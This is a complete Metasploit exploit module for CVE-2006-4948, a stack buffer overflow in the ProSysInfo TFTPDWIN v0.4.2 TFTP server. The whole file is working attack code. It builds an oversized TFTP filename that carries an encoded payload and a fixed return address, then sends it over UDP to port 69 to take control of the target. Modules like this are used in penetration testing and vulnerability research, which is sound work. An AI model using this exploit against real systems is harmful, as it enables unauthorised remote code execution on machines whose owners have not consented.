class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
an overly long file name to the tftpd.exe server, the stack can be overwritten.
},
'Author' => [ 'aushack' ],
'References' =>
[
[ 'CVE', '2006-4948' ],
[ 'OSVDB', '29032' ],
[ 'BID', '20131' ],
[ 'EDB', '3132' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 284,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ]
],
'Privileged' => false,
'DisclosureDate' => '2006-09-21',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(69),
], self)
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
sploit << "netascii\x00"
udp_sock.put(sploit)
disconnect_udp
end
end